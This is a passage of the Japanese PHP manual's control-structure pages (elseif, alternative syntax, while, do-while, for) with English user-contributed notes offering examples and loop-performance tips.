The curly brace is not required however, for readability and maintenance, many developers would consider it bad style not to include them.
Caliban Darklock 08-Nov-2004 11:24
If you're coming from another language that does not have the "elseif" construct (e.g. C++), it's important to recognise that "else if" is a nested language construct and "elseif" is a linear language construct; they may be compared in performance to a recursive loop as opposed to an iterative loop.

<?php
$limit=1000;
for($idx=0;$idx<$limit;$idx++)
{ $list[]="if(false) echo \"$idx;\n\"; else"; }
$list[]=" echo \"$idx\n\";";
$space=implode(" ",$list);| // if ... else if ... else
$nospace=implode("",$list); // if ... elseif ... else
$start=array_sum(explode(" ",microtime()));
eval($space);
$end=array_sum(explode(" ",microtime()));
echo $end-$start . " seconds\n";
$start=array_sum(explode(" ",microtime()));
eval($nospace);
$end=array_sum(explode(" ",microtime()));
echo $end-$start . " seconds\n";
?>

This test should show that "elseif" executes in roughly two-thirds the time of "else if". (Increasing $limit will also eventually cause a parser stack overflow error, but the level where this happens is ridiculous in real world terms. Nobody normally nests if() blocks to more than a thousand levels unless they're trying to break things, which is a whole different problem.)

There is still a need for "else if", as you may have additional code to be executed unconditionally at some rung of the ladder; an "else if" construction allows this unconditional code to be elegantly inserted before or after the entire rest of the process. Consider the following elseif() ladder:

<?php
if($a) { conditional1(); }
elseif($b) { conditional2(); }
elseif($c) { conditional3(); }
elseif($d) { conditional4(); }
elseif($e) { conditional5(); }
elseif($f) { conditional6(); }
elseif($g) { conditional7(); }
elseif($h) { conditional8(); }
else { conditional9(); }
?>

To insert unconditional preprocessing code for $e onward, one need only split the "elseif":

<?php
if($a) { conditional1(); }
elseif($b) { conditional2(); }
elseif($c) { conditional3(); }
elseif($d) { conditional4(); }
else {
....unconditional();
....if($e) { conditional5(); }
....elseif($f) { conditional6(); }
....elseif($g) { conditional7(); }
....elseif($h) { conditional8(); }
....else { conditional9(); }
}
?>

The alternative is to duplicate the unconditional code throughout the construct.


elseif/else if

(PHP 4, PHP 5, PHP 7, PHP 8)

elseifは、その名前から分かるように、if とelseの組み合わせです。elseifは、 elseのように、元のif式の値が falseの場合に別の文を実行するようにif 文を拡張します。 しかし、elseとは異なり、elseif式が trueの場合にのみ代わりの式を実行します。 例えば、次のコードは、aはbより大きい、 aはbに等しい、 aはbより小さいを出力します。

<?php
if ($a > $b) {
    echo "aはbより大きい";
} elseif ($a == $b) {
    echo "aはbと等しい";
} else {
    echo "aはbより小さい";
}
?>

複数の elseif を同じ if 文の中で使用することができます。 true と評価された最初の elseif 式を実行します。PHP では、(単語二つで)'else if'と書くこともできます。 動作は(一単語の) 'elseif'と同じです。文法的な意味はやや異なっています (あなたが C 言語に詳しいとすると、C 言語のそれと同じ動作です)。 しかし、最終的な両者の動作は全く同じです。

elseif 文は、前にある全ての if 文と elseif の値が false であり、 現在の elseif 式の値が true である場合にのみ実行されます。

注意: 上の例のように波括弧を使用する限り、 elseif と else if はまったく同じだと考えてよいことに注意しましょう。コロンを使って if/elseif 条件を指定する場合は、 else if のように分割してはいけません。 分割すると、パースエラーとなってしまいます。

<?php

/* 間違った方法 */
if ($a > $b):
    echo $a." is greater than ".$b;
else if ($a == $b): // コンパイル不能
    echo "The above line causes a parse error.";
endif;

/* 正しい方法 */
if ($a > $b):
    echo $a." is greater than ".$b;
elseif ($a == $b): // 二つの単語を分割せず組み合わせていることに注目
    echo $a." equals ".$b;
else:
    echo $a." is neither greater than or equal to ".$b;
endif;

?>

User Contributed Notes

mparsa1372 at gmail dot com 12-Mar-2021 03:27
The if...elseif...else statement executes different codes for more than two conditions.

Syntax:

if (condition) {
  code to be executed if this condition is true;
} elseif (condition) {
  code to be executed if first condition is false and this condition is true;
} else {
  code to be executed if all conditions are false;
}

Example:
Output "Have a good morning!" if the current time is less than 10, and "Have a good day!" if the current time is less than 20. Otherwise it will output "Have a good night!":

<?php
$t = date("H");

if ($t < "10") {
  echo "Have a good morning!";
} elseif ($t < "20") {
  echo "Have a good day!";
} else {
  echo "Have a good night!";
}
?>
qualitycoder 03-Oct-2014 02:39
The reason 'else if' (with a space) works with traditional syntax and not colon syntax is because of a technicality.

<?php
  if($var == 'Whatever') {

  } else if($var == 'Something Else') {

  }
?>

In this instance, the 'else if' is a shorthand/inline else statement (no curly braces) with the if statement as a body. It is the same things as:

<?php
  if($var == 'Whatever') {

  } else {
      if($var == 'Something Else') {

      }
  }
?>

If you were to write this with colon syntax, it would be:

<?php
  if($var == 'Whatever'):

  else:
      if($var == 'Something Else'):

      endif;
  endif;
?>
Vladimir Kornea 27-Dec-2006 09:59
The parser doesn't handle mixing alternative if syntaxes as reasonably as possible.

The following is illegal (as it should be):

<?
if($a):
    echo $a;
else {
    echo $c;
}
?>

This is also illegal (as it should be):

<?
if($a) {
    echo $a;
}
else:
    echo $c;
endif;
?>

But since the two alternative if syntaxes are not interchangeable, it's reasonable to expect that the parser wouldn't try matching else statements using one style to if statement using the alternative style. In other words, one would expect that this would work:

<?
if($a):
    echo $a;
    if($b) {
      echo $b;
    }
else:
    echo $c;
endif;
?>

Instead of concluding that the else statement was intended to match the if($b) statement (and erroring out), the parser could match the else statement to the if($a) statement, which shares its syntax.

While it's understandable that the PHP developers don't consider this a bug, or don't consider it a bug worth their time, jsimlo was right to point out that mixing alternative if syntaxes might lead to unexpected results.


制御構造に関する別の構文

(PHP 4, PHP 5, PHP 7, PHP 8)

PHPは、いくつかの制御構造、つまり、if、 while、for、 foreach、switch に関する別の構文を提供します。 各構造において開き波括弧をコロン(:)、閉じ波括弧をそれぞれ endif;,endwhile;, endfor;,endforeach;, endswitch;に変更するのが 別の構文の基本的な形式となります。

<?php if ($a == 5): ?>
Aは5に等しい
<?php endif; ?>

上の例では、HTML ブロック "Aは5に等しい" はこの構文で 書かれた if 文の内部で入れ子になっています。 この HTML ブロックは、$a が 5 の場合にのみ表示されます。

この方法は、else や elseif にも同様に適用することができます。 次の例は、この形式で if 文を elseif および else とともに使用しています。

<?php
if ($a == 5):
    echo "aは5に等しい";
    echo "...";
elseif ($a == 6):
    echo "aは6に等しい";
    echo "!!!";
else:
    echo "aは5でも6でもない";
endif;
?>

注意:

同じブロック内で別の構文を混ぜて使うことはできません。

警告

switch 文と最初の case の間で何か (空白文字も含む) を出力すると、構文エラーになります。 たとえば、以下のコードは無効です。

<?php switch ($foo): ?>
    <?php case 1: ?>
    ...
<?php endswitch ?>

一方、以下のコードは有効です。というのも、 switch 文の行末の改行文字は終了タグ ?> の一部と見なされるため、 switch と case の間では何も出力されないからです。

<?php switch ($foo): ?>
<?php case 1: ?>
    ...
<?php endswitch ?>

while、 for、および if に、より多くの例があります。

User Contributed Notes

There are no user contributed notes for this page.


while

(PHP 4, PHP 5, PHP 7, PHP 8)

whileループは、PHPで最も簡単なタイプのループです。 このループは、CのWHILEループと同様の動作をします。 whileループの基本形は次のようになります。

while (式)
    文

while文の意味は簡単です。 while文は、式の値がtrueである間、 入れ子の文を繰り返し実行することをPHPに指示します。 式の値は各反復処理の開始時にチェックされるので、ループ内の文の実行により この値が変わった場合でもループ実行は各ループを終るまで終わりません。 (PHPによるループ内の文の実行が1回分の反復に相当します) while式の値がはじめからfalseの 場合は、内部の文は一回も実行されません。

if文と同様に、波括弧で複数の文を囲うか、 以下に示す別の構文を用いることにより、同じwhile ループの中に複数の文をグループ化することができます。

while (式):
    文
    ...
endwhile;

次の例は同じです。どちらも 1 から 10 までの数を出力します。

<?php
/* 例 1 */

$i = 1;
while ($i <= 10) {
    echo $i++;  /* 出力される値は、足される前の
                    $iの値です。
                    (後置加算) */
}

/* 例 2 */

$i = 1;
while ($i <= 10):
    echo $i;
    $i++;
endwhile;
?>

User Contributed Notes

mparsa1372 at gmail dot com 12-Mar-2021 03:23
The example below displays the numbers from 1 to 5:

<?php
$x = 1;

while($x <= 5) {
  echo "The number is: $x <br>";
  $x++;
}
?>

This example counts to 100 by tens:

<?php
$x = 0;

while($x <= 100) {
  echo "The number is: $x <br>";
  $x+=10;
}
?>
nickleus at gmail dot com 29-Nov-2017 03:34
<?php
$i = -1;
while ($i) {
    echo $i++;
}
?>
outputs  "-1" then stops because "0" (zero) gets evaluated as FALSE.

this demonstrates why it's important for a PDO statement fetch-ing a column value inside a while-loop to test explicitly for FALSE.
synnus at gmail dot com 28-Apr-2016 05:35
<?php

// test While Vs For php 5.6.17

$t1 = microtime(true);
$a=0;
while($a++ <= 1000000000);
$t2 = microtime(true);
$x1 = $t2 - $t1;
echo PHP_EOL,' > while($a++ <= 100000000); : ' ,$x1, 's', PHP_EOL;

$t3 = microtime(true);
for($a=0;$a <= 1000000000;$a++);
$t4 = microtime(true);
$x2 = $t4 - $t3;
echo PHP_EOL,'> for($a=0;$a <= 100000000;$a++); : ' ,$x2, 's', PHP_EOL;

$t5 = microtime(true);
$a=0; for(;$a++ <= 1000000000;);
$t6 = microtime(true);
$x3 = $t6 - $t5;
echo PHP_EOL,' > $a=0; for(;$a++ <= 100000000;); : ' , $x3, 's', PHP_EOL;

//> while($a++ <= 100000000);   = 18.509671926498s
//
//> for($a=0;$a <= 100000000;$a++);  =  25.450572013855s
//
//> $a=0; for(;$a++ <= 100000000;);  =  22.614907979965s

// ===================

//> while($a++ != 100000000); : 18.204656839371s
//
//> for($a=0;$a != 100000000;$a++); : 25.025605201721s
//
//> $a=0; for(;$a++ != 100000000;); : 22.340576887131s

// ===================

//> while($a++ < 100000000); : 18.383454084396s
//
//> for($a=0;$a < 100000000;$a++); : 25.290743112564s
//
//> $a=0; for(;$a++ < 100000000;); : 23.28609919548s

?>
er dot sarimkhan786 at gmail dot com 05-Oct-2015 08:34
simple pyramid pattern program using while loop
<?php
$i=1;
while($i<=5)
{
    $j=1;
    while($j<=$i)
    {
      echo"*&nbsp&nbsp";
      $j++;
    }
    echo"<br>";
    $i++;
}
?>
// or alternatively you can use:
<?php
$i=1;
while($i<=5):

    $j=1;
    while($j<=$i):
      echo"*&nbsp&nbsp";
      $j++;
    endwhile;

    echo"<br>";
    $i++;
endwhile;
?>
qeremy [atta] gmail [dotta] com 22-Aug-2012 08:45
Instead of this usage;

<?php
$arr = array("orange", "banana", "apple", "raspberry");

$i = 0;
while ($i < count($arr)) {
   $a = $arr[$i];
   echo $a ."\n";
   $i++;
}
// or
$i = 0;
$c = count($arr);
while ($i < $c) {
   $a = $arr[$i];
   echo $a ."\n";
   $i++;
}
?>

This could be more efficient;

<?php
while ($a = $arr[1 * $i++]) echo $a ."\n";
?>
ravenswd at gmail dot com 06-Mar-2010 07:34
I find it often clearer to set a simple flag ($finished) to false at the start of the loop, and have the program set it to true when it's finished doing whatever it's trying to do. Then the code is more self-documenting: WHILE NOT FINISHED keep going through the loop. FINISHED EQUALS TRUE when you're done. Here's an example. This is the code I use to generate a random filename and ensure that there is not already an existing file with the same name. I've added very verbose comments to it to make it clear how it works:

<?php
$finaldir = 'download';

$finished = false;                       // we're not finished yet (we just started)
while ( ! $finished ):                   // while not finished
  $rn = rand();                          // random number
  $outfile = $finaldir.'/'.$rn.'.gif';   // output file name
  if ( ! file_exists($outfile) ):        // if file DOES NOT exist...
    $finished = true;                    // ...we are finished
  endif;
endwhile;                                // (if not finished, re-start WHILE loop)
?>
scott at mstech dot com 06-Oct-2009 02:48
Just a note about using the continue statement to forego the remainder of a loop - be SURE you're not issuing the continue statement from within a SWITCH case - doing so will not continue the while loop, but rather the switch statement itself.

While that may seem obvious to some, it took a little bit of testing for me, so hopefully this helps someone else.
chayes at antenna dot nl 26-Feb-2002 02:42
At the end of the while (list / each) loop the array pointer will be at the end.
This means the second while loop on that array will be skipped!

You can put the array pointer back with the reset($myArray) function.

example:

<?php
$myArray=array('aa','bb','cc','dd');
 while (list ($key, $val) = each ($myArray) ) echo $val;
reset($myArray);
 while (list ($key, $val) = each ($myArray) ) echo $val;
?>


do-while

(PHP 4, PHP 5, PHP 7, PHP 8)

do-whileループは、論理式のチェックが各反復の 最初ではなく最後に行われること以外は、whileループと 全く同じです。通常のwhileループとの主な差は、 do-whileループは最低1回の実行を保証されていることです。 一方、通常のwhileループは、実行されないかもしれません (論理式は各反復の最初でチェックされるので、 最初から値がfalseである場合はループの実行は すぐに終わります)。

do-while ループの構文は次の一つのみです。

<?php
$i = 0;
do {
    echo $i;
} while ($i > 0);
?>

上記のループは必ず一度だけ実行されます。その原因は、最初の反復の後、 論理値のチェックを行った際に値が false となり ($i は 0 より大きくない)、ループの実行が終了するためです。

優れたCプログラマは、コードブロック中での実行中止が可能な do-whileループの別の使用法について熟知している かもしれません。 これは、do-while(0)でコードを括り、 break 文を使用する方法です。次のコードは、この方法の例を示しています。

<?php
do {
    if ($i < 5) {
        echo "i は十分大きくはありません。";
        break;
    }
    $i *= $factor;
    if ($i < $minimum_limit) {
        break;
    }
   echo "iはOKです。";

    /* i を処理します */

} while (0);
?>

この技のかわりに goto 演算子を使うこともできます。

User Contributed Notes

mparsa1372 at gmail dot com 12-Mar-2021 03:23
The example below first sets a variable $x to 1 ($x = 1). Then, the do while loop will write some output, and then increment the variable $x with 1. Then the condition is checked (is $x less than, or equal to 5?), and the loop will continue to run as long as $x is less than, or equal to 5:

<?php
$x = 1;

do {
  echo "The number is: $x <br>";
  $x++;
} while ($x <= 5);
?>
M. H. S. 29-Oct-2019 07:02
<!-- if you write with WHILE: -->
<?php
$i = 100
while ($i < 10) :
    echo "\$i is $i.";
endwhile;
?>
<!-- returning: -->

<!-- if you write with DO/WHILE: -->
<?php
$i = 100;
do {
    echo "\$i is $i.";
} while ($i < 10);
?>
<!-- returning: -->
$i is 100.
iamjeffjack at gmail dot com 01-Feb-2018 08:26
If you put multiple conditions in the while check, a do-while loop checks these conditions in order and runs again once it encounters a condition that returns true. This can be helpful to know when troubleshooting why a do-while loop isn't finishing. An (illustrative-only) example:

<?php
    $numberOne = 0;
    do {
        echo $numberOne;
        $numberOne++;
    } while( $numberOne < 5 || incrementNumberTwo() );
    function incrementNumberTwo() {
        echo "function incrementNumberTwo called";
        return false;
    }
    // outputs "01234function incrementNumberTwo called"
?>
fuhse at data-quest dot de 04-Dec-2016 03:49
What actually surprised me: There is no alternative-syntax or template syntax for a do-while-loop.

So you can write

<?php
while ($a < 10) :
    $a++;
endwhile;
?>

But this won't work:

<?php
do :
    $a++
while ($a <= 10);
?>
jaysherby at gmail dot com 13-Jul-2016 06:12
The last example on this page is simply abuse of the `break` keyword.  Also, the suggestion to use `goto` if you don't understand the abuse of `break` is unsettling.  (See the manual page for `goto` for more than enough reasons not to use it.)

The final example is generally better expressed using a typical if-else statement.

<?php
if ($i < 5) {
    echo "i is not big enough";
} else {
    $i *= $factor;

    if ($i >= $minimum_limit) {
      echo "i is ok";

      /* process i */
    }
}
?>

This version is easier to read and understand.  And arguments for code golf are invalid as well as this version is 3 lines shorter.

In conclusion, although you can certainly write code that abuses the `break` keyword, you shouldn't in practice.  Keep the code easy to read and understand for whoever inherits your code.  And remember, code is for humans not computers.
Martin 28-Apr-2015 03:51
Do-while loops can also be used inside other loops, for example:

<?php
// generating an array with random even numbers between 1 and 1000

$numbers = array();
$array_size = 10;

// for loop runs as long as 2nd condition evaluates to true
for ($i=0;$i<$array_size;$i++) {

      // always executes (as long as the for-loop runs)
      do {
         $random = rand(1,1000);

     // if the random number is even (condition below is false), the do-while-loop execution ends
     // if it's uneven (condition below is true), the loop continues by generating a new random number
     } while (($random % 2) == 1);

     // even random number is written to array and for-loop continues iteration until original condition is met
     $numbers[] = $random;
}

// sorting array by alphabet

asort($numbers);

// printing array

echo '<pre>';
print_r($numbers);
echo '</pre>';
?>
shaida dot mca at gmail dot com 18-Aug-2010 11:01
Example of Do while :-

<?php
$i = 0;
echo 'This code will run at least once because i default value is 0.<br/>';
do {
echo 'i value is ' . $i . ', so code block will run. <br/>';
++$i;
} while ($i < 10);
?>
andrew at NOSPAM dot devohive dot com 15-Sep-2008 10:44
I'm guilty of writing constructs without curly braces sometimes... writing the do--while seemed a bit odd without the curly braces ({ and }), but just so everyone is aware of how this is written with a do--while...

a normal while:
<?php
   while ( $isValid ) $isValid = doSomething($input);
?>

a do--while:
<?php
   do $isValid = doSomething($input);
   while ( $isValid );
?>

Also, a practical example of when to use a do--while when a simple while just won't do (lol)... copying multiple 2nd level nodes from one document to another using the DOM XML extension

<?php
   # open up/create the documents and grab the root element
   $fileDoc  = domxml_open_file('example.xml'); // existing xml we want to copy
   $fileRoot = $fileDoc->document_element();
   $newDoc   = domxml_new_doc('1.0'); // new document we want to copy to
   $newRoot  = $newDoc->create_element('rootnode');
   $newRoot  = $newDoc->append_child($newRoot); // this is the node we want to copy to

   # loop through nodes and clone (using deep)
   $child = $fileRoot->first_child(); // first_child must be called once and can only be called once
   do $newRoot->append_child($child->clone_node(true)); // do first, so that the result from first_child is appended
   while ( $child = $child->next_sibling() ); // we have to use next_sibling for everything after first_child
?>
jayreardon at gmail dot com 10-Apr-2007 03:36
There is one major difference you should be aware of when using the do--while loop vs. using a simple while loop:  And that is when the check condition is made.

In a do--while loop, the test condition evaluation is at the end of the loop.  This means that the code inside of the loop will iterate once through before the condition is ever evaluated.  This is ideal for tasks that need to execute once before a test is made to continue, such as test that is dependant upon the results of the loop.

Conversely, a plain while loop evaluates the test condition at the begining of the loop before any execution in the loop block is ever made. If for some reason your test condition evaluates to false at the very start of the loop, none of the code inside your loop will be executed.


for

(PHP 4, PHP 5, PHP 7, PHP 8)

for ループは、PHPで最も複雑なループです。 for は、Cのforループと同様に動作します。 forループの構文は、次のようになります。

for (式1; 式2; 式3)
    文

最初の式(式1)は、ループ開始時に無条件に 評価(実行)されます。

各繰り返しの開始時に、式2が評価されます。 その式の値がtrueが場合、ループは継続され、括弧 内の文が実行されます。値がfalseの場合、ループの 実行は終了します。

各繰り返しの後、式3が評価(実行)されます。

各式は空にすることもできますし、複数の式をカンマで区切って指定することもできます。 式2 でカンマ区切りの式を使用すると、 すべての式を評価します。しかし、結果として取得するのは最後の式の結果となります。 式2 を空にすると、無限実行ループになります (PHP は、この状態を C 言語のように暗黙の内に true とみなします)。 この機能は、初心者が想像するよりもずっと便利です。 for の式の結果ではなく条件付き break 文を使ってループを終了させたくなることもしばしばあります。

次の例について考えてみましょう。以下の例はすべて 1 から 10 までの数を表示します。

<?php
/* 例 1 */

for ($i = 1; $i <= 10; $i++) {
    echo $i;
}

/* 例 2 */

for ($i = 1; ; $i++) {
    if ($i > 10) {
        break;
    }
    echo $i;
}

/* 例 3 */

$i = 1;
for (; ; ) {
    if ($i > 10) {
        break;
    }
    echo $i;
    $i++;
}

/* 例 4 */

for ($i = 1, $j = 0; $i <= 10; $j += $i, print $i, $i++);
?>

もちろん、最初の例(もしくは 4番目の例)が最善であると考えられます。 しかし、forループにおいて空の式を使用できると、 多くの場合、便利だということに気づかれるかと思います。

PHPは、forループ用に"コロン構文"もサポートします。 for loops.

for (式1; 式2; 式3):
    文;
    ...
endfor;

多くのユーザーにとって、次の例のように配列をループ処理することはよくあるでしょう。

<?php
/*
 * データが入った配列で、ループ処理中に
 * その中身を書き換えたいと考えています
 */
$people = array(
    array('name' => 'Kalle', 'salt' => 856412),
    array('name' => 'Pierre', 'salt' => 215863)
);

for($i = 0; $i < count($people); ++$i) {
    $people[$i]['salt'] = mt_rand(000000, 999999);
}
?>

このコードは実行速度が遅くなることでしょう。 というのも、配列のサイズを毎回取得しているからです。 サイズが変わることはありえないのだから、これは簡単に最適化することができます。 配列のサイズを変数に格納して使うようにすれば、 何度も count() を呼ばずに済むのです。

<?php
$people = array(
    array('name' => 'Kalle', 'salt' => 856412),
    array('name' => 'Pierre', 'salt' => 215863)
);

for($i = 0, $size = count($people); $i < $size; ++$i) {
    $people[$i]['salt'] = mt_rand(000000, 999999);
}
?>

User Contributed Notes

mparsa1372 at gmail dot com 12-Mar-2021 03:26
This example counts to 100 by tens:

<?php
for ($x = 0; $x <= 100; $x+=10) {
  echo "The number is: $x <br>";
}
?>
Anonymous 30-May-2020 03:08
If you want to do a for and increment with decimal numbers:
<?php
for($i=0; $i<=2; $i+=0.1)
     echo $i;
?>
The code will never show 2 as expected, because of decimal imprecision if I remember well.
You will need to round:
<?php
for($i=0; round($i,1)<=2; $i+=0.1)
    echo $i.",";
?>
This code correctly shows 0,0.1 .... 2.
ju dot nk at email dot cz 01-Mar-2018 08:11
Please note that following code is working:

$reverse = TRUE;  //iteration direction switch

for ($i=$reverse?($N-1):0; $reverse?($i>-1):($i<$N); $reverse?$i--:$i++) {

... your code here

}

(Using PHP 5.4.45)
ju dot nk at email dot cz 01-Mar-2018 08:09
Please note that following code is working:

for ($i=$reverse?($N-1):0; $reverse?($i>-1):($i<$N); $reverse?$i--:$i++) {

... your code here

}

(Using PHP 5.4.45)
epicxmoe at gmail dot com 18-Jul-2017 05:41
I've tried to search for a results on internet for a basic array which contain letters A to Z inside

<!DOCTYPE html>
<html>
<body>
<?php
$letter = array();
for ($letters = 'A'; $letters != 'AA'; $letters++)
{
    array_push($letter, $letters);
}
echo '<pre>' . var_export($letter, true) . '</pre>';
?>
</body>
</html>
epicxmoe at gmail dot com 18-Jul-2017 05:21
Adding Letters from A to Z inside an array.

You should test it out.

<!DOCTYPE html>
<html>
<body>
<?php
$letter = array();
for ($letters = 'A'; $letters != 'AA'; $letters++)
{
    array_push($letter, $letters);
}
echo '<pre>' . var_export($letter, true) . '</pre>';
?>
</body>
</html>
dx at e-mogensen dot dk 12-Jan-2017 07:31
Warning about using the function "strlen" i a for-loop:

This note should might be under the "strlen" manual page, but there is a better chance for more paying attention here (nevertheless I have made a short note over there allso).

A loop function that test for the string length at each iteration takes forever (possibly due to "strlen" searches for the C-style string terminator - a binary 0 - every time..

So loops like this, using  "strlen" in the for...

for  ($i = 0;  $i < strlen($crc); $i++) .....

Will benefit tremendously in speed by a short step that saves the string length once and use that in the loop.

$clen = strlen($crc);

for  ($i = 0;  $i < $clen ; $i++) .....

Note: as a real hard-core programmer You are aware, that this is only valid if you don't change the string content inside the loop (and hereby allso the length). If the change is only occationly , You could just refresh the length variable or else just live with a quite slow loop.

This "discovery" was made from using an example of 16 bit crc calculation over at the "crc32" function manual page, that do exactly that..
htroyo 10-Jun-2016 11:04
when iterating a multidimentional array like this:
for ($i = 0; $i < $size_x; $i++) {
    for ($j = 0; $j < $size_y; $j++) {
        do_something($a[$i][$j]);
    }
}
it is faster to use $a[$i][$j] than using $a[$j][$i]
for ($i = 0; $i < $size_x; $i++) {
    for ($j = 0; $j < $size_y; $j++) {
        do_something($a[$j][$i]);
    }
}
if you know about how RAM works you understand why
Anonymous 23-Aug-2014 11:39
You can also work with arrays. For example, say you want to generate an array of 12 unique 2-letter strings:

<?php

for ($names = array(); count($names) < 12; $names = array_unique($names)) {
    /**
     * we assume here we have some $faker object
     * which generates n-letter strings
     */
    $names[] = $faker->word(2);
}

print_r($names);
?>

will print something like:

Array
(
    [0] => cc
    [1] => cb
    [2] => dd
    [3] => db
    [4] => bb
    [6] => cd
    [8] => aa
    [9] => ad
    [10] => ca
    [11] => ac
    [12] => dc
    [15] => ab
)
AoKMiKeY 13-Jul-2014 06:36
As a note for people just starting out and wanting to know if you can do some thing like this...

<?php For( $a = 0; $a < 10; $a++ ) { ?>

//Random html elements you would like to duplicate.

<?php } ?>

Then yes you can. It works like a charm.
Vincenzo Raco 30-Mar-2014 04:59
In this code:

<?php

    $array = array(
        'pop0',
        'pop1',
        'pop2',
        'pop3',
        'pop4',
        'pop5',
        'pop6',
        'pop7',
        'pop8'
    );
    echo "Tot Before: ".count($array)."<br><br>";
    for ($i=0; $i<count($array); $i++) {
        if ($i === 3) {
            unset($array[$i]);
        }
        echo "Count: ".count($array). " - Position: ".$i."<br>";
    }
    echo "<br> Tot After: ".count($array)."<br>";

?>

The result is:

---

Tot Before: 9

Count: 9 - Position: 0
Count: 9 - Position: 1
Count: 9 - Position: 2
Count: 8 - Position: 3
Count: 8 - Position: 4
Count: 8 - Position: 5
Count: 8 - Position: 6
Count: 8 - Position: 7

Tot After: 8

---

The position 8 is skipped, because the "expr2" {{ $i<count($array) }} is evaluated again, for each cycle.

The solution is:

<?php

    $array = array(
        'pop0',
        'pop1',
        'pop2',
        'pop3',
        'pop4',
        'pop5',
        'pop6',
        'pop7',
        'pop8'
    );
    echo "Tot Before: ".count($array)."<br><br>";
    $count = count($array);
    for ($i=0; $i<$count; $i++) {
        if ($i === 3) {
            unset($array[$i]);
        }
        echo "Count: ".count($array). " - Position: ".$i."<br>";
    }
    echo "<br> Tot After: ".count($array)."<br>";

?>
Warbo 06-Feb-2014 05:37
Remember that for-loops don't always need to go 'forwards'. For example, let's say I have the following code:

<?php
for ($i = 0; $i < calculateLoopLength(); $i++) {
  doSomethingWith($i);
}
>?

As other comments have pointed out, if "calculateLoopLength" will keep giving back the same value, it can be moved outside the loop:

<?php
$loopLength = calculateLoopLength();
for ($i=0; $i < $loopLength; $i++) {
  doSomethingWith($i);
}
?>

However, if the order the looping doesn't matter (ie. each iteration is independent) then we don't need to use an extra variable either, we can just count down (ie. loop 'backwards') instead:

<?php
for ($i=calculateLoopLength(); $i > 0; $i--) {
  doSomething($i);
}
?>

In fact, we can simplify this even more, since "$i > 0" is equivalent to "$i" (due to type casting):

<?php
for ($i=calculateLoopLength(); $i; $i--) {
  doSomething($i);
}
?>

Finally, we can switch to a 'pre-decrement' instead of a 'post-decrement' to be slightly more efficient (see, for example, http://dfox.me/2011/04/php-most-common-mistakes-part-2-using-post-increment-instead-of-pre-increment/ ):

<?php
for ($i = calculateLoopLength(); $i; --$i) {
  doSomething($i);
}
?>

In this case we could also replace the entire loop with a map, which might make your algorithm clearer (although this won't work if calculateLoopLength() == 0):

<?php
array_map('doSomething',
          range(0, calculateLoopLength() - 1));
?>
Andrew 15-Jan-2014 11:07
You can use strtotime with for loops to loop through dates

<?php
for ($date = strtotime("2014-01-01"); $date < strtotime("2014-02-01"); $date = strtotime("+1 day", $date)) {
    echo date("Y-m-d", $date)."<br />";
}
?>
Philipp Trommler 08-Nov-2012 04:34
Note, that, because the first line is executed everytime, it is not only slow to put a function there, it can also lead to problems like:

<?php

$array = array(0 => "a", 1 => "b", 2 => "c", 3 => "d");

for($i = 0; $i < count($array); $i++){

echo $array[$i];

unset($array[$i]);

}

?>

This will only output the half of the elements, because the array is becoming shorter everytime the for-expression counts it.
matthiaz 08-Feb-2012 02:37
Looping through letters is possible. I'm amazed at how few people know that.

for($col = 'R'; $col != 'AD'; $col++) {
    echo $col.' ';
}

returns: R S T U V W X Y Z AA AB AC

Take note that you can't use $col < 'AD'. It only works with !=
Very convenient when working with excel columns.
kanirockz at gmail dot com 21-Mar-2010 11:48
Here is another simple example for " for loops"

<?php

$text="Welcome to PHP";
$searchchar="e";
$count="0"; //zero

for($i="0"; $i<strlen($text); $i=$i+1){

    if(substr($text,$i,1)==$searchchar){

       $count=$count+1;
    }

}

echo $count

?>

this will be count how many "e" characters in that text (Welcome to PHP)
eduardofleury at uol dot com dot br 14-Jun-2007 06:18
<?php
//this is a different way to use the 'for'
//Essa e uma maneira diferente de usar o 'for'
for($i = $x = $z = 1; $i <= 10;$i++,$x+=2,$z=&$p){

    $p = $i + $x;

    print "\$i = $i , \$x = $x , \$z = $z <br />";

}

?>
lishevita at yahoo dot co (notcom) .uk 08-Sep-2006 12:33
On the combination problem again...

 It seems to me like it would make more sense to go through systematically. That would take nested for loops, where each number was put through all of it's potentials sequentially.

The following would give you all of the potential combinations of a four-digit decimal combination, printed in a comma delimited format:

<?php
for($a=0;$a<10;$a++){
    for($b=0;$b<10;$b++){
          for($c=0;$c<10;$c++){
              for($d=0;$d<10;$d++){
                echo $a.$b.$c.$d.", ";
              }
           }
      }
}
?>

Of course, if you know that the numbers you had used were in a smaller subset, you could just plunk your possible numbers into arrays $a, $b, $c, and $d and then do nested foreach loops as above.

- Elizabeth
JustinB at harvest dot org 04-Aug-2005 04:23
For those who are having issues with needing to evaluate multiple items in expression two, please note that it cannot be chained like expressions one and three can.  Although many have stated this fact, most have not stated that there is still a way to do this:

<?php
for($i = 0, $x = $nums['x_val'], $n = 15; ($i < 23 && $number != 24); $i++, $x + 5;) {
    // Do Something with All Those Fun Numbers
}
?>
user at host dot com 19-Apr-2004 03:53
Also acceptable:

<?php
  for($letter = ord('a'); $letter <= ord('z'); $letter++)
   print chr($letter);
?>
bishop 17-Jul-2003 01:23
If you're already using the fastest algorithms you can find (on the order of O(1), O(n), or O(n log n)), and you're still worried about loop speed, unroll your loops using e.g., Duff's Device:

<?php
$n = $ITERATIONS % 8;
while ($n--) $val++;
$n = (int)($ITERATIONS / 8);
while ($n--) {
    $val++;
    $val++;
    $val++;
    $val++;
    $val++;
    $val++;
    $val++;
    $val++;
}
?>

(This is a modified form of Duff's original device, because PHP doesn't understand the original's egregious syntax.)

That's algorithmically equivalent to the common form:

<?php
for ($i = 0; $i < $ITERATIONS; $i++) {
    $val++;
}
?>

$val++ can be whatever operation you need to perform ITERATIONS number of times.

On my box, with no users, average run time across 100 samples with ITERATIONS = 10000000 (10 million) is:
Duff version:       7.9857 s
Obvious version: 27.608 s
nzamani at cyberworldz dot de 17-Jun-2001 11:47
The point about the speed in loops is, that the middle and the last expression are executed EVERY time it loops.
So you should try to take everything that doesn't change out of the loop.
Often you use a function to check the maximum of times it should loop. Like here:

<?php
for ($i = 0; $i <= somewhat_calcMax(); $i++) {
  somewhat_doSomethingWith($i);
}
?>

Faster would be:

<?php
$maxI = somewhat_calcMax();
for ($i = 0; $i <= $maxI; $i++) {
  somewhat_doSomethingWith($i);
}
?>

And here a little trick:

<?php
$maxI = somewhat_calcMax();
for ($i = 0; $i <= $maxI; somewhat_doSomethingWith($i++)) ;
?>

The $i gets changed after the copy for the function (post-increment).


foreach

(PHP 4, PHP 5, PHP 7, PHP 8)

